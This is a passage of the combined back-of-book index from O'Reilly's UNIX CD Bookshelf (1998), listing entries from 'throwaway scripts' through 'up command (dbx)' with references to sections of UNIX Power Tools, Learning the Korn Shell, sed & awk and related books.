throwaway scripts : UNIX Power Tools, 9.15. Throwaway Scripts for Complicated Commands
tilde : (see ~)
time : (see date and time)
time command
UNIX Power Tools, 39.2. Timing Programs
UNIX Power Tools, 47.2.2.1. Built-Ins
UNIX in a Nutshell, Chapter 2, Reference: time
UNIX in a Nutshell, Chapter 4, Reference: time
UNIX in a Nutshell, Chapter 5, Reference: time
examples : UNIX Power Tools, 47.2.2.1. Built-Ins
"Time to go now...." message : UNIX Power Tools, 40.2. Waiting a Little While: sleep
time variable
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 39.3. The csh time variable
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
format string tags : UNIX Power Tools, 39.3. The csh time variable
timeout keyword : UNIX Power Tools, 9.26. Expect
times command : UNIX in a Nutshell, Chapter 4, Reference: times
timestamps
UNIX Power Tools, 16.5. The Three UNIX File Times
UNIX Power Tools, 17.8. Exact File Time Comparisons
backups and : UNIX Power Tools, 20.7. Creating a Timestamp File for Selective Backups
listing/finding files by
UNIX Power Tools, 16.2. Finding Oldest or Newest Files with ls -t and ls -u
UNIX Power Tools, 16.9. An Alias to List Recently Changed Files
UNIX Power Tools, 16.18. Listing Files You've Created/Edited Today
UNIX Power Tools, 16.25. Listing Files by Age and Size
UNIX Power Tools, 16.27. newer: Print the Name of the Newest File
UNIX Power Tools, 17.5. Searching for Old Files
storing : UNIX Power Tools, 2.15. Unclutter Logins: Show Login Messages Just Once
touch command : UNIX Power Tools, 21.7. Setting File Modification Time with touch
timex command
UNIX Power Tools, 39.2. Timing Programs
UNIX in a Nutshell, Chapter 2, Reference: timex
timezones, TZ variable for
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 6.6. The TZ Environment Variable
timing programs
UNIX Power Tools, 39.2. Timing Programs
UNIX Power Tools, 39.3. The csh time variable
tip program : UNIX Power Tools, 9.26.1. Dialback
titlebar, window : Learning the UNIX Operating System, 2.5. Working with Windows
tm script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
TMOUT shell variable
Learning the Korn Shell, 10.2.3. Types of Global Customization
UNIX in a Nutshell, 4.3.3. Other Shell Variables
/tmp directory
Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
Learning the Korn Shell, 9.2.1.1. The driver script
UNIX Power Tools, 11.11.1. bash and ksh
UNIX Power Tools, 21.2. A Better Place for Temporary Files: /tmp
UNIX Power Tools, 21.4. Why Both /tmp and /usr/tmp?
tokens, find command and : UNIX Power Tools, 17.6. Be an Expert on find Search Operators
tolower command
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
sed & awk, 9.2. String Functions
sed & awk, 9.2.4. Converting Case
UNIX in a Nutshell, Chapter 11, Reference: tolower
TOPS-20
Learning the Korn Shell, 2.3.5. Filename Completion and Expansion
Learning the Korn Shell, 2.4.6. Filename Completion
Torek, Chris
UNIX Power Tools, 8.6.1. Portability
UNIX Power Tools, 8.12. Which One Will the C Shell Use?
ToStatus script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
touch command
UNIX Power Tools, 17.8. Exact File Time Comparisons
UNIX Power Tools, 21.7. Setting File Modification Time with touch
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: touch
examples
UNIX Power Tools, 46.9. If Command Doesn't Return a Status, Test the Error Messages
UNIX Power Tools, 48.2. Online Phone and Address Lists
storing cutrrent timestamp : UNIX Power Tools, 2.15. Unclutter Logins: Show Login Messages Just Once
toupper command
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
sed & awk, 9.2. String Functions
sed & awk, 9.2.4. Converting Case
UNIX in a Nutshell, Chapter 11, Reference: toupper
tpipe command
UNIX Power Tools, 13.11. tpipe-Redirecting stdout to More than One Place
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
tput command
UNIX Power Tools, 41.1. Delving a Little Deeper
UNIX Power Tools, 41.10. Using terminfo Capabilities in Shell Programs
UNIX Power Tools, 42.1. Making Sense Out of the Terminal Mess
UNIX Power Tools, 42.4. Checklist for Resetting a Messed Up Terminal
UNIX in a Nutshell, Chapter 2, Reference: tput
printing long terminal names : UNIX Power Tools, 5.10. Finding What Terminal Names You Can Use
tput init command
UNIX Power Tools, 42.4. Checklist for Resetting a Messed Up Terminal
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
tput reset command : UNIX Power Tools, 42.4. Checklist for Resetting a Messed Up Terminal
tr command
Learning the Korn Shell, 1.7.1. Standard I/O
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 6.3.3. String Formatting Options
UNIX Power Tools, 15.5. Matching All "Dot Files" with Wildcards
UNIX in a Nutshell, Chapter 2, Reference: tr
Berkeley vs. System V : UNIX Power Tools, 35.11. Hacking on Characters with tr
-c option : UNIX Power Tools, 29.10. Just the Words, Please
control characters used with : UNIX Power Tools, 45.35.2. With tr and echo
converting characters : UNIX Power Tools, 1.5. Anyone Can Program the Shell
rotating text : UNIX Power Tools, 30.22.2. Filtering Text with vi
squeeze option : UNIX Power Tools, 35.11. Hacking on Characters with tr
trace command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: trace
tracei command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: tracei
tracing signals : UNIX in a Nutshell, Chapter 2, Reference: truss
--traditional option (gawk) : sed & awk, 11.2.3.1. Command line options
transform command : (see y command (sed))
transpose script (example) : sed & awk, 13.9. transpose - Perform a Matrix Transposition
transposing
characters (xp) : Learning the vi Editor, 2.3.6.1. Transposing Two Letters
words : Learning the vi Editor, 7.3.5. More Examples of Mapping Keys
transposition commands (emacs) : UNIX in a Nutshell, 7.2.6. Transposition Commands
trap command
Learning the Korn Shell, 8.4. trap
UNIX Power Tools, 7.12. External Commands Send Signals to Set Variables
UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
UNIX Power Tools, 45.8. Handling Signals to Child Processes
UNIX in a Nutshell, Chapter 4, Reference: trap
- (to reset default) : Learning the Korn Shell, 8.4.4. Resetting Traps
: (colon) used with : UNIX Power Tools, 45.8. Handling Signals to Child Processes
arguments to : UNIX Power Tools, 45.8. Handling Signals to Child Processes
in C shell : UNIX Power Tools, 47.2.3. Signals
examples : UNIX Power Tools, 47.2.3. Signals
handling signals in Bourne shell : UNIX Power Tools, 38.9. Killing Foreground Jobs
in nom script : UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
null string argument (for ignoring signals) : Learning the Korn Shell, 8.4.3. Ignoring Signals
signal names/numbers : UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
syntax : Learning the Korn Shell, 8.4. trap
traps
Learning the Korn Shell, 8.4. trap
Learning the Korn Shell, A.1. The Bourne Shell
after every statement : Learning the Korn Shell, 9.1.2.3. DEBUG
for ignoring signals : Learning the Korn Shell, 8.4.3. Ignoring Signals
lack of propagation to subshells
Learning the Korn Shell, 8.6.1. Subshell Inheritance
Learning the Korn Shell, A.7. The Future of the Korn Shell
listing : Learning the Korn Shell, 8.4. trap
propagation to subshells in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
resetting defaults : Learning the Korn Shell, 8.4.4. Resetting Traps
setting global traps within functions : Learning the Korn Shell, 8.4.1. Traps and Functions
trapping fake signals
Learning the Korn Shell, 9.1.2. Fake Signals
Learning the Korn Shell, 9.2.2. The Preamble
Learning the Korn Shell, 9.2.3.1. Commands
within functions : Learning the Korn Shell, 8.4.1. Traps and Functions
trash directory : UNIX Power Tools, 23.8. Safe Delete: Pros and Cons
trees, directory
Learning the UNIX Operating System, 3.1.3. The Directory Tree
Learning the UNIX Operating System, 3.1.7. Files in the Directory Tree
UNIX Power Tools, 1.19. The Tree Structure of the Filesystem
UNIX Power Tools, 16.19. stree: Simple Directory Tree
UNIX Power Tools, 16.22. Comparing Two Directory Trees with dircmp
UNIX Power Tools, 16.23. Comparing Filenames in Two Directory Trees
archives/backups of : UNIX Power Tools, 20.1. tar in a Nutshell
changing permissions of : UNIX Power Tools, 22.7. Using chmod to Change File Permission
compressing
UNIX Power Tools, 24.8. Save Space: tar and compress a Directory Tree
UNIX Power Tools, 24.12. Compressing a Directory Tree: Fine-Tuning
copying : UNIX Power Tools, 18.15. Copying Directory Trees with cp -r
duplicating : UNIX Power Tools, 17.17. Duplicating a Directory Tree (No Pathnames with find {} Operator)
find command and : UNIX Power Tools, 17.2. Delving Through a Deep Directory Tree
grep command and : UNIX Power Tools, 17.20. grepping a Directory Tree (and a Gotcha)
searching : UNIX Power Tools, 17.24. Skipping Some Parts of a Tree in find (A More Selective -prune)
trigonometric functions : sed & awk, 9.1.1. Trigonometric Functions
trimming directories : UNIX Power Tools, 24.15. Trimming a Directory
triplespace script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
troff formatting package
Learning the Korn Shell, 1.6. Files
Learning the Korn Shell, 5.5. while and until
Learning the Korn Shell, 8.2.2. Suspending a Job
UNIX Power Tools, 43.12.1. troff
UNIX Power Tools, 43.13. The Text Formatters nroff, troff, ditroff, ...
UNIX in a Nutshell, 12. Nroff and Troff
dpost command : UNIX in a Nutshell, Chapter 2, Reference: dpost
eliminating .so requests : UNIX in a Nutshell, Chapter 2, Reference: soelim
errors caused by : UNIX Power Tools, 50.12. Common UNIX Error Messages
indexing feature : UNIX Power Tools, 1.4. Using Pipes to Create a New Tool
macros
UNIX Power Tools, 43.14. nroff/troff and Macro Packages
UNIX Power Tools, 43.20. Displaying a troff Macro Definition
preprocessing
UNIX Power Tools, 43.21. Preprocessing troff Input with sed
UNIX in a Nutshell, 16. Preprocessors
requests, list of : UNIX in a Nutshell, 12.4. Default Operation of Requests
Trojan horse attack : UNIX Power Tools, 19.2. Introduction to Shell Archives
troubleshooting : Learning the UNIX Operating System, 6.3.2. Problem checklist
command line : Learning the UNIX Operating System, 1.1.7. Correcting a Mistake
hung (unresponsive) terminal : Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
overwriting files by mistake : Learning the UNIX Operating System, 5.1.1.1. The > operator
software problems : UNIX Power Tools, 52.8.1.2. Problems
stalled data connections : UNIX Power Tools, 42.2.4. Stalled Data Connection?
stray prompt problems : UNIX Power Tools, 7.3. C Shell Prompt Causes Problems in vi, rsh, etc.
true
Learning the Korn Shell, 8.4. trap
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: true
true exit status : UNIX Power Tools, 44.7. Exit Status of UNIX Processes
truncating numbers : sed & awk, 9.1.2. Integer Function
truss command : UNIX in a Nutshell, Chapter 2, Reference: truss
tscan examples : UNIX Power Tools, 44.21. Picking a Name for a New Command
.tcshrc file : UNIX Power Tools, 2.2.5. tcsh
tset command
UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
UNIX Power Tools, 5.3. Setting the Terminal Type When You Log In
UNIX Power Tools, 5.9. Setting Your Erase, Kill, and Interrupt Characters
UNIX Power Tools, 41.1. Delving a Little Deeper
UNIX Power Tools, 42.1. Making Sense Out of the Terminal Mess
UNIX Power Tools, 42.4. Checklist for Resetting a Messed Up Terminal
UNIX in a Nutshell, Chapter 2, Reference: tset
initializing terminal : UNIX Power Tools, 5.11. Initializing the Terminal with tset
-m option : UNIX Power Tools, 5.3. Setting the Terminal Type When You Log In
-Q option
UNIX Power Tools, 5.3. Setting the Terminal Type When You Log In
UNIX Power Tools, 5.11. Initializing the Terminal with tset
setting TERMAP variable : UNIX Power Tools, 5.4. Setting the TERMCAP Variable with tset
tsort command : UNIX in a Nutshell, Chapter 2, Reference: tsort
TSTP (stop) signal : UNIX Power Tools, 38.8. What Are Signals?
tty command
Learning the Korn Shell, 5.3. case
UNIX Power Tools, 3.8. What tty Am I On?
UNIX Power Tools, 38.2. fork and exec
UNIX Power Tools, 38.6. The Controlling Terminal
UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
UNIX Power Tools, 42.1. Making Sense Out of the Terminal Mess
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: tty
tty number
displaying with usernames : UNIX Power Tools, 51.4. Who's On?
in ps listing : UNIX Power Tools, 38.6. The Controlling Terminal
ttys and ttytab files : UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
twin program
UNIX Power Tools, 28.5. Comparing Files Alongside One Another
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
twm window manager : UNIX Power Tools, 42.6.3. Set Width, Test Line Wrapping: longlines
two-way pipes
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
for building interfaces to existing programs : Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
compared to standard pipes : Learning the Korn Shell, 8.5.5. Two-way Pipes Versus Standard Pipes
creating : Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
flow of I/O : Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
relationship to standard I/O : Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
.txt filename extension : UNIX Power Tools, 1.17. Filename Extensions
type-ahead feature : UNIX Power Tools, 9.19. For the Impatient: Type-Ahead
type command
UNIX Power Tools, 4.10. Find All Command Versions with whereiz
UNIX Power Tools, 8.11. Which One Will bash Use?
UNIX in a Nutshell, Chapter 4, Reference: type
typescript : UNIX Power Tools, 51.5. Copy What You Do with script
typeset command
Learning the Korn Shell, 6.3.1. typeset
Learning the Korn Shell, A.1. The Bourne Shell
UNIX in a Nutshell, Chapter 4, Reference: typeset
function options
-ft
Learning the Korn Shell, 6.3.5. Function Options
Learning the Korn Shell, 9.1.1. Set Options
-fx
Learning the Korn Shell, 6.3.5. Function Options
Learning the Korn Shell, 10.2.3. Types of Global Customization
making variables local to functions
Learning the Korn Shell, 4.2.1.1. Positional parameters in functions
Learning the Korn Shell, 6.3.2. Local Variables in Functions
options supported in pdksh : Learning the Korn Shell, A.4. pdksh
output of in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
string formatting options : Learning the Korn Shell, 6.3.3. String Formatting Options
-L
Learning the Korn Shell, 6.3.3. String Formatting Options
Learning the Korn Shell, 7.2.2.5. Options to read
-l : Learning the Korn Shell, 6.3.3. String Formatting Options
combined effect : Learning the Korn Shell, 6.3.3. String Formatting Options
examples : Learning the Korn Shell, 6.3.3. String Formatting Options
syntax : Learning the Korn Shell, 6.3.1. typeset
turning off options : Learning the Korn Shell, 6.3.3. String Formatting Options
type and attribute options : Learning the Korn Shell, 6.3.4. Type and Attribute Options
-f
Learning the Korn Shell, 6.3.4. Type and Attribute Options
Learning the Korn Shell, 6.3.5. Function Options
-i : Learning the Korn Shell, 6.3.4. Type and Attribute Options
-r
Learning the Korn Shell, 6.3.4. Type and Attribute Options
Learning the Korn Shell, 10.3.4. Privileged Mode
-x : Learning the Korn Shell, 6.3.4. Type and Attribute Options
variables in kshdb break conditions : Learning the Korn Shell, 9.2.3.6. Limitations
with no arguments (to list variables) : Learning the Korn Shell, 6.3.5. Function Options
"typesetter busy" error message : UNIX Power Tools, 50.12. Common UNIX Error Messages
typesetting
UNIX Power Tools, 21.14. Automatically Appending the Date to a Filename
(see also printing)
awf program : UNIX Power Tools, 43.17. Don't Have nroff? Try gnroff or awf
bold text : UNIX Power Tools, 43.18. How nroff Makes Bold and Underline; How to Remove It
col command : UNIX Power Tools, 43.18. How nroff Makes Bold and Underline; How to Remove It
colcrt command : UNIX Power Tools, 43.18. How nroff Makes Bold and Underline; How to Remove It
curly quotes : UNIX Power Tools, 43.21. Preprocessing troff Input with sed
ditroff program : UNIX Power Tools, 43.13. The Text Formatters nroff, troff, ditroff, ...
em-dashes : UNIX Power Tools, 43.21. Preprocessing troff Input with sed
equations
UNIX Power Tools, 43.12. Typesetting Overview
UNIX Power Tools, 43.12.2. TeX
escape sequences, removing : UNIX Power Tools, 43.19. Removing Leading Tabs and Other Trivia
gnroff program : UNIX Power Tools, 43.17. Don't Have nroff? Try gnroff or awf
groff program : UNIX Power Tools, 43.16. groff
line drawings : UNIX Power Tools, 43.12. Typesetting Overview
nroff program : UNIX Power Tools, 43.13. The Text Formatters nroff, troff, ditroff, ...
Scribe program : UNIX Power Tools, 43.12.3. Scribe
tables : UNIX Power Tools, 43.12. Typesetting Overview
TABs, removing : UNIX Power Tools, 43.19. Removing Leading Tabs and Other Trivia
TeX program : UNIX Power Tools, 43.12.2. TeX
troff : (see troff formatting package)
typographical characters : UNIX Power Tools, 43.21. Preprocessing troff Input with sed
ul command : UNIX Power Tools, 43.18. How nroff Makes Bold and Underline; How to Remove It
underlined text : UNIX Power Tools, 43.18. How nroff Makes Bold and Underline; How to Remove It
WYSIWYG programs : UNIX Power Tools, 43.12.3. Scribe
typographical characters : UNIX Power Tools, 43.21. Preprocessing troff Input with sed
typographical conventions : Learning the Korn Shell, Conventions Used in This Handbook
TZ environment variable
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 6.6. The TZ Environment Variable

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: U

UIDs : (see user IDs)
ul command : UNIX Power Tools, 43.18. How nroff Makes Bold and Underline; How to Remove It
ulimit
Learning the Korn Shell, 10.2.2. ulimit
Learning the Korn Shell, A.1. The Bourne Shell
UNIX in a Nutshell, Chapter 4, Reference: ulimit
Ultrix
Learning the Korn Shell, 1. Korn Shell Basics
Learning the Korn Shell, 1.3. History of UNIX Shells
Learning the Korn Shell, 1.9.5. Control Keys
umask command
Learning the Korn Shell, 10.2.1. umask
Learning the Korn Shell, A.6. Workalikes on PC Platforms
Learning the UNIX Operating System, 3.6. Customizing Your Account
UNIX Power Tools, 14.14. Automatic Setup When You Enter/Exit a Directory
UNIX Power Tools, 22.2.1. User, Group, and World
UNIX Power Tools, 22.4. Setting an Exact umask
UNIX Power Tools, 45.36. Shell Lockfile
UNIX Power Tools, 52.5.3.3. Running Install
UNIX in a Nutshell, Chapter 2, Reference: umask
UNIX in a Nutshell, Chapter 4, Reference: umask
UNIX in a Nutshell, Chapter 5, Reference: umask
(see also chmod command)
as logical XOR with file permission : Learning the Korn Shell, 10.2.1. umask
setting in shell scripts : UNIX Power Tools, 38.4. Subshells
unabbreviate command (ex) : UNIX in a Nutshell, Chapter 9, Reference: unabbreviate
unalias
Learning the Korn Shell, 3.2.1. Tracked Aliases
UNIX in a Nutshell, Chapter 4, Reference: unalias
UNIX in a Nutshell, Chapter 5, Reference: unalias
UNIX in a Nutshell, Chapter 20, Reference: unalias
uname command
UNIX Power Tools, 50.7. How UNIX Systems Remember Their Name
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: uname
unarchiving : (see archives)
uncluttering logins : UNIX Power Tools, 2.15. Unclutter Logins: Show Login Messages Just Once
uncompress
Learning the Korn Shell, 1.8. Background Jobs
UNIX Power Tools, 52.8.1.1. Missing Programs
UNIX Power Tools, 52.8.2.2. Uncompressing the Sources
UNIX in a Nutshell, Chapter 2, Reference: uncompress
UNIX in a Nutshell, Chapter 2, Reference: zcat
undelete program : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
underlined text : UNIX Power Tools, 43.18. How nroff Makes Bold and Underline; How to Remove It
underscore (_) in filenames : UNIX Power Tools, 1.15. Filenames
undisplay command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: undisplay
undo command (ex) : UNIX in a Nutshell, Chapter 9, Reference: undo
undoing
emacs : UNIX in a Nutshell, 7.2.5. Stopping and Undoing Commands
vi
Learning the vi Editor, 2.3.5.4. Problems with Deletions
Learning the vi Editor, 2.3.8. Repeating or Undoing Your Last Command
Learning the vi Editor, 2.3.8.2. Undo
Learning the vi Editor, 6.1. Confirming Substitutions
UNIX Power Tools, 30.8. Get Back What You Deleted with Numbered Buffers
UNIX Power Tools, 30.10. Confirming Substitutions in ex and vi
UNIX Power Tools, 30.38. Finding Your Place with Undo
unedit command (SCCS)
UNIX Power Tools, 20.13. SCCS Basics
UNIX in a Nutshell, 17.6.2. Pseudo-commands
unexpand command
UNIX Power Tools, 41.4.1. TAB Is Just Another Character to UNIX
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
filtering within vi : UNIX Power Tools, 31.5. Keymaps for Pasting into a Window Running vi
unexpand script : UNIX Power Tools, 24.6. Save Space with Tab Characters
unget command (SCCS) : UNIX in a Nutshell, Chapter 17, Reference: unget
unhash command (csh) : UNIX in a Nutshell, Chapter 5, Reference: unhash
union metacharacter, lack of : sed & awk, 3.2.9. Alternative Operations
union of regular expressions
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.9. Alternative Operations
uniq command
UNIX Power Tools, 35.20. Quick Reference: uniq
UNIX Power Tools, 50.3. apropos on Systems Without apropos
UNIX in a Nutshell, Chapter 2, Reference: uniq
units command : UNIX in a Nutshell, Chapter 2, Reference: units
units of measurements (nroff/troff) : UNIX in a Nutshell, 12.3.2. Specifying Measurements
UNIX
accessing other platforms : Learning the UNIX Operating System, 4.4.6. Files on Other Operating Systems
advantages
UNIX Power Tools, 1.1. What's Special About UNIX?
UNIX Power Tools, 1.7. Power Grows on You
UNIX Power Tools, 1.26. What a Multiuser System Can Do for You
UNIX Power Tools, 44.1. Everyone Should Learn Some Shell Programming
UNIX Power Tools, 52.3. Shrink-Wrapped Software for UNIX
binary programs : UNIX Power Tools, 52.8.2. Compiling Source Code
bundling software packages : UNIX in a Nutshell, 1.2. Bundling
command reference : Learning the UNIX Operating System, B.1. Commands and Their Meanings
Command Syntax Standard Rules : Learning the Korn Shell, 6.1.3. getopts
definition of priority : UNIX Power Tools, 39.9. Know When to Be "nice" to OTher Users...and When
documentation
Learning the Korn Shell, 4.3.1. Syntax of String Operators
Learning the UNIX Operating System, 7.1. Standard UNIX Documentation
drawbacks of : UNIX Power Tools, 1.34. What's Wrong with UNIX
environment : Learning the UNIX Operating System, 1.1. Working in the UNIX Environment
filenames in BSD : Learning the Korn Shell, 7.2.2.3. Code blocks
filenames in System V
Learning the Korn Shell, 6.3.3. String Formatting Options
Learning the Korn Shell, 7.2.2.3. Code blocks
flexible handling of TAB characters : UNIX Power Tools, 41.4. How UNIX Handles TAB Characters
identifying versions : UNIX Power Tools, 50.8. Which Version Am I Using?
interprocess communication in : Learning the Korn Shell, 8.3. Signals
networking and communications utilities : UNIX Power Tools, 1.33. UNIX Networking and Communications
platforms : UNIX Power Tools, 52.3. Shrink-Wrapped Software for UNIX
Programmer's Manual
Learning the Korn Shell, 8. Process Handling
Learning the Korn Shell, 8.3.3.2. BSD
references for : Learning the UNIX Operating System, A.1. General UNIX Books
security : (see security)
shells : (see shells)
shell history : Learning the Korn Shell, 1.3. History of UNIX Shells
starting X from : Learning the UNIX Operating System, 2.2.2. B. Starting X from a Standard UNIX Session
terminal interface
Learning the Korn Shell, 2. Command-line Editing
Learning the Korn Shell, 2.3.4. Moving Around in the History File
Learning the Korn Shell, 2.3.6. Miscellaneous Commands
Learning the Korn Shell, 2.4. Vi Editing Mode
time on : UNIX Power Tools, 39.1. Which Time Is It?
two main branches of : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
utilities : Learning the Korn Shell, 1.7.1. Standard I/O
versions
Learning the UNIX Operating System, Versions of UNIX
UNIX Power Tools, About UNIX Versions
UNIX in a Nutshell, 1.1. Merging the Traditions
A/UX
Learning the Korn Shell, 1. Korn Shell Basics
Learning the Korn Shell, 1.9.5. Control Keys
AIX
Learning the Korn Shell, 1. Korn Shell Basics
Learning the Korn Shell, 8.3.3. ps
BSD
Learning the Korn Shell, 1.3. History of UNIX Shells
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 2.3.4. Moving Around in the History File
Learning the Korn Shell, 2.3.6. Miscellaneous Commands
Learning the Korn Shell, 2.4. Vi Editing Mode
Learning the Korn Shell, 3.4. Shell Variables
Learning the Korn Shell, 3.4.2.2. Mail Variables
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, 7.2.2.3. Code blocks
Learning the Korn Shell, 8.3. Signals
Learning the Korn Shell, 8.3.3. ps
Learning the Korn Shell, 8.3.3.2. BSD
Learning the Korn Shell, 9.2.3.3. Breakpoints
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
Learning the Korn Shell, A.4. pdksh
HP/UX
Learning the Korn Shell, 1. Korn Shell Basics
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 8.3.3. ps
SCO : Learning the Korn Shell, 1.9.5. Control Keys
SunOS
Learning the Korn Shell, 1. Korn Shell Basics
Learning the Korn Shell, 1.3. History of UNIX Shells
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, 8.3.3. ps
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.3. wksh
Learning the Korn Shell, A.4. pdksh
System III
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 8.2. Job Control
System V
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 3.4. Shell Variables
Learning the Korn Shell, 3.4.2.4. Terminal Types
Learning the Korn Shell, 6.3.3. String Formatting Options
Learning the Korn Shell, 7.2.2.3. Code blocks
Learning the Korn Shell, 8.2. Job Control
Learning the Korn Shell, 8.3. Signals
Learning the Korn Shell, 8.3.3. ps
Learning the Korn Shell, 9.2.3.3. Breakpoints
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
System V Release 4
Learning the Korn Shell, Korn Shell Versions
Learning the Korn Shell, 1.3.1. The Korn Shell
Learning the Korn Shell, 1.4. Getting the Korn Shell
Learning the Korn Shell, 6.1.3.1. More About C Compilers
Learning the Korn Shell, A.3. wksh
that don't support job control : Learning the Korn Shell, 8.2. Job Control
Ultrix
Learning the Korn Shell, 1. Korn Shell Basics
Learning the Korn Shell, 1.3. History of UNIX Shells
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 8.3.3. ps
UTS : Learning the Korn Shell, 1. Korn Shell Basics
Version 6 : Learning the Korn Shell, 4.3.2. Patterns and Regular Expressions
Version 7
Learning the Korn Shell, 1.3. History of UNIX Shells
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
Learning the Korn Shell, A.4. pdksh
Xenix
Learning the Korn Shell, 1. Korn Shell Basics
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 8.2. Job Control
workalikes : Learning the Korn Shell, A.6. Workalikes on PC Platforms
xterm windows : (see xterm windows)
UNIX commands : Learning the Korn Shell, C.4. UUCP
compare files (diff) : Learning the vi Editor, 7.4.5. ex Scripts Built by diff
execute from vi : Learning the vi Editor, 7.2. Executing UNIX Commands
filter text through : Learning the vi Editor, 7.2.1. Filtering Text Through a Command
UNIX System Laboratories (USL)
Learning the Korn Shell, 1.3.1. The Korn Shell
Learning the Korn Shell, A.3. wksh
Learning the Korn Shell, A.7. The Future of the Korn Shell
address and phone number : Learning the Korn Shell, A.3. wksh
unkillable processes, cleaning up : UNIX Power Tools, 38.15. Cleaning Up an Unkillable Process
unlimit command (csh) : UNIX in a Nutshell, Chapter 5, Reference: unlimit
unlimit coredumpsize command : UNIX Power Tools, 24.5. Limiting File Sizes
unlink command : UNIX Power Tools, 23.15. Using unlink to Remove a File with a Strange Name
unlinking files : UNIX Power Tools, 24.3. Unlinking Open Files Isn't a Good Idea
unmap command (ex) : UNIX in a Nutshell, Chapter 9, Reference: unmap
unpack command
UNIX in a Nutshell, Chapter 2, Reference: unpack
(see also pack command; pcat command)
unprintable characters : (see special characters)
unprintable files : UNIX Power Tools, 25.5. Page Through Compressed, RCS, Unprintable Files
unset
UNIX in a Nutshell, Chapter 4, Reference: unset
UNIX in a Nutshell, Chapter 5, Reference: unset
UNIX in a Nutshell, Chapter 20, Reference: unset
in POSIX shell : Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
unset variable errors : UNIX Power Tools, 40.4. Choosing the Shell Run (We Hope) by at
unsetenv command
UNIX Power Tools, 6.1. What Environment Variables Are Good For
UNIX in a Nutshell, Chapter 5, Reference: unsetenv
unshar program
UNIX Power Tools, 19.3. unshar: Unarchive a Shell Archive
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX Power Tools, 52.8.1.1. Missing Programs
UNIX Power Tools, 52.8.2.4. Unsharring the Sources
unshar software : UNIX Power Tools, 52.8.2.4. Unsharring the Sources
untarring software : UNIX Power Tools, 52.8.2.3. Untarring the Sources
unterrupt characters : UNIX Power Tools, 5.9. Setting Your Erase, Kill, and Interrupt Characters
until
Learning the Korn Shell, 5.4. select
Learning the Korn Shell, 5.5. while and until
UNIX Power Tools, 44.10.1. Looping Until a Command Succeeds
UNIX in a Nutshell, Chapter 4, Reference: until
in Bourne shells : UNIX Power Tools, 44.10.1. Looping Until a Command Succeeds
differences with while : Learning the Korn Shell, 5.5. while and until
examples : UNIX Power Tools, 44.10.1. Looping Until a Command Succeeds
redirecting I/O to : Learning the Korn Shell, 7.2.2.2. I/O Redirection and multiple commands
syntax : Learning the Korn Shell, 5.5. while and until
while loops compared to : UNIX Power Tools, 44.10.2. Looping Until a Command Fails
up command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: up
